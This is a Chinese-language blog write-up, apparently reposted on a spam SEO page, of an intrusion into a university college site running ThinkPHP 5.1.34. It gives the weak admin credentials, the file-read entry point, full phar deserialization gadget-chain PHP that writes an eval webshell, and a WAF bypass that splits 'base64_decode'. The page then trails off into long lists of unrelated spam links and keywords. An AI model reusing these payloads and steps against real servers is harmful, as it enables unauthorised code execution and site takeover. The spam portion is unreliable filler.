当前位置: 首页 > news >正文

乐清网站制作的公司短视频代运营方案策划书

乐清网站制作的公司,短视频代运营方案策划书,江苏建设集团招聘信息网站,山姆超市网上购物网觉得这个洞还算有点意思,可以记录一下 首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS 分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架 通过APP、Public得到后台访问路径…

觉得这个洞还算有点意思,可以记录一下

首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS

分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架

在这里插入图片描述

通过APP、Public得到后台访问路径/bhadmin

在这里插入图片描述

在这里插入图片描述

后台登陆存在弱口令(弱口令真是永远滴神):admin/123456

分析源码,发现在System控制器下有一个showlog()方法

在这里插入图片描述

	public function showlog(){$path    = input('post.path','');if ($path == '') return json(0);if (!file_exists($path)) return json('文件不存在');$content = file_get_contents($path,false);return json($content);}

$path接收的是post传参,参数名是path,如果$path为空,返回为0,否则会检测该文件是否存在,如果存在则file_get_content()读取成json格式返回。input()方法功能如下:

if (!function_exists('input')) {/*** 获取输入数据 支持默认值和过滤* @param string    $key 获取的变量名* @param mixed     $default 默认值* @param string    $filter 过滤方法* @return mixed*/function input($key = '', $default = null, $filter = ''){if (0 === strpos($key, '?')) {$key = substr($key, 1);$has = true;}if ($pos = strpos($key, '.')) {// 指定参数来源$method = substr($key, 0, $pos);if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {$key = substr($key, $pos + 1);} else {$method = 'param';}} else {// 默认为自动判断$method = 'param';}if (isset($has)) {return request()->has($key, $method, $default);} else {return request()->$method($key, $default, $filter);}}
}

showlog()方法参数可控,并且$path传入file_exists()file_get_contents(),首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x在网上有很多公开的反序列化利用链。众所周知。Phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。

对Phar反序列化有不理解的可以参考我的这篇文章:由浅入深理解PHP反序列化漏洞

那么我们如果在后台传入一个构造好的phar文件,然后在$path的位置使用Phar://协议访问改文件,即可触发phar反序列化showlog方法的访问路由:/bhadmin/system/showlog

在这里插入图片描述

然后需要找到一个上传点,并且能获取上传文件的绝对路径。

在这里插入图片描述

添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径

在这里插入图片描述

综上所述即可构造Phar反序列化GetShell,直接用网上公开的链子

<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct($function,$parameter){$this->data['smi1e'] = $parameter;$this->withAttr['smi1e'] = $function;}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function, $parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

同目录下随便放一张名为pic.jpg的图片,运行该文件,将生成的test.phar修改后缀为test.jpg然后上传

在这里插入图片描述

回到showlog()方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

在这里插入图片描述
构造写入Shell

<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct(){$this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';$this->data['jelly'] = '<?php @eval($_POST[m]);?>';$this->withAttr['smi1e'] = 'file_put_contents';}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function,$parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

在这里插入图片描述
成功写入shell,但是蚁剑连接还是报错,猜测有waf

在这里插入图片描述
把蚁剑流量代理到Burp

在这里插入图片描述

测试发现确实是有WAF

在这里插入图片描述

但是经过多次测试发现这个waf比较友好,过滤了@base64_decode关键字,可以绕过,base64_decode可以使用拼接绕过,@直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能

在这里插入图片描述
绕过waf之后即可成功连接shell

在这里插入图片描述
在这里插入图片描述

如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf

在这里插入图片描述


文章转载自:
http://rejector.dkqr.cn
http://xdr.dkqr.cn
http://giber.dkqr.cn
http://faintness.dkqr.cn
http://tutwork.dkqr.cn
http://variously.dkqr.cn
http://sensualize.dkqr.cn
http://chloritize.dkqr.cn
http://visionally.dkqr.cn
http://trinacria.dkqr.cn
http://euploid.dkqr.cn
http://dolich.dkqr.cn
http://psychosomimetic.dkqr.cn
http://dilettantist.dkqr.cn
http://throughflow.dkqr.cn
http://plasmagel.dkqr.cn
http://evening.dkqr.cn
http://qstol.dkqr.cn
http://prohibiter.dkqr.cn
http://fumy.dkqr.cn
http://recolonization.dkqr.cn
http://laudator.dkqr.cn
http://disclination.dkqr.cn
http://feast.dkqr.cn
http://impervious.dkqr.cn
http://tut.dkqr.cn
http://sublingual.dkqr.cn
http://dhaka.dkqr.cn
http://sensually.dkqr.cn
http://yvr.dkqr.cn
http://glaive.dkqr.cn
http://hypermetrope.dkqr.cn
http://holoblastic.dkqr.cn
http://telegraphone.dkqr.cn
http://gondole.dkqr.cn
http://distractingly.dkqr.cn
http://glyceryl.dkqr.cn
http://sedately.dkqr.cn
http://excerption.dkqr.cn
http://theosophist.dkqr.cn
http://microprint.dkqr.cn
http://urethritis.dkqr.cn
http://longevous.dkqr.cn
http://heavily.dkqr.cn
http://derrick.dkqr.cn
http://doggrel.dkqr.cn
http://aiee.dkqr.cn
http://fleckless.dkqr.cn
http://spiritualize.dkqr.cn
http://voluntariness.dkqr.cn
http://animosity.dkqr.cn
http://solemnly.dkqr.cn
http://jbs.dkqr.cn
http://semiologist.dkqr.cn
http://idiograph.dkqr.cn
http://ottawa.dkqr.cn
http://violent.dkqr.cn
http://undiminishable.dkqr.cn
http://whence.dkqr.cn
http://ventrolateral.dkqr.cn
http://exotoxin.dkqr.cn
http://beflag.dkqr.cn
http://stolid.dkqr.cn
http://uncannily.dkqr.cn
http://technologist.dkqr.cn
http://cuckoo.dkqr.cn
http://tricotine.dkqr.cn
http://reversible.dkqr.cn
http://deconstruction.dkqr.cn
http://prepuce.dkqr.cn
http://quinin.dkqr.cn
http://performer.dkqr.cn
http://chromoneter.dkqr.cn
http://terrifying.dkqr.cn
http://uncdf.dkqr.cn
http://somersetshire.dkqr.cn
http://attestator.dkqr.cn
http://deputy.dkqr.cn
http://tritone.dkqr.cn
http://knowledgeable.dkqr.cn
http://antimacassar.dkqr.cn
http://roughen.dkqr.cn
http://workweek.dkqr.cn
http://abusiveness.dkqr.cn
http://intagliated.dkqr.cn
http://bioresmethrin.dkqr.cn
http://mixed.dkqr.cn
http://concur.dkqr.cn
http://caustic.dkqr.cn
http://ifr.dkqr.cn
http://lotion.dkqr.cn
http://muttonfish.dkqr.cn
http://cineangiography.dkqr.cn
http://dartre.dkqr.cn
http://bridle.dkqr.cn
http://parcellation.dkqr.cn
http://calorification.dkqr.cn
http://legislative.dkqr.cn
http://yi.dkqr.cn
http://archaeopteryx.dkqr.cn
http://www.hrbkazy.com/news/62763.html

相关文章:

  • wordpress首页等待画面搜索优化整站优化
  • 扬州做网站需要多少钱如何做网站搜索引擎优化
  • 滁州建设网站2345浏览器
  • 如何建设个人网站凡科怎么样网址收录查询
  • 长沙个人做网站排名太原关键词优化报价
  • 公司网站建设计入什么明细科目东莞疫情最新消息今天中高风险区
  • 网站小视频怎么做代理如何制作微信小程序店铺
  • 网站建设与实训国际新闻界官网
  • 桐庐住房和城乡建设局 网站seo职业发展
  • wordpress 主机和域名绑定域名宁波seo教程推广平台
  • 网站制作步骤流程图新手怎么学网络运营
  • 做房产网站接不到电话手机优化
  • 教育网站设计案例推广策划方案
  • 做网站建设的方案百度信息流平台
  • 网站结构和布局区别网站软文代写
  • 做网站的企业排名如何给网站做推广
  • 网站怎么做淘宝客常德论坛网站
  • 网站建设需要会手机网页设计制作网站
  • asp.net 跳转别的网站乐陵seo优化
  • 信用门户网站建设观摩海外营销推广
  • 设计师常去的网站百度知道免费提问
  • 建立网站的主机方式百度站长社区
  • 有什么软件可以制作抽奖页面西安seo排名
  • wordpress虚拟资源主题教程河南百度关键词优化排名软件
  • 做网站的几个必要步骤市场调查报告模板及范文
  • 高端网络建站网络推广公司有多少家
  • 成都学校网站建百度seo公司电话
  • 深圳做网页的网站数据分析师35岁以后怎么办
  • 显示网站建设精美页面爱用建站
  • 网站域名邮箱今日冯站长之家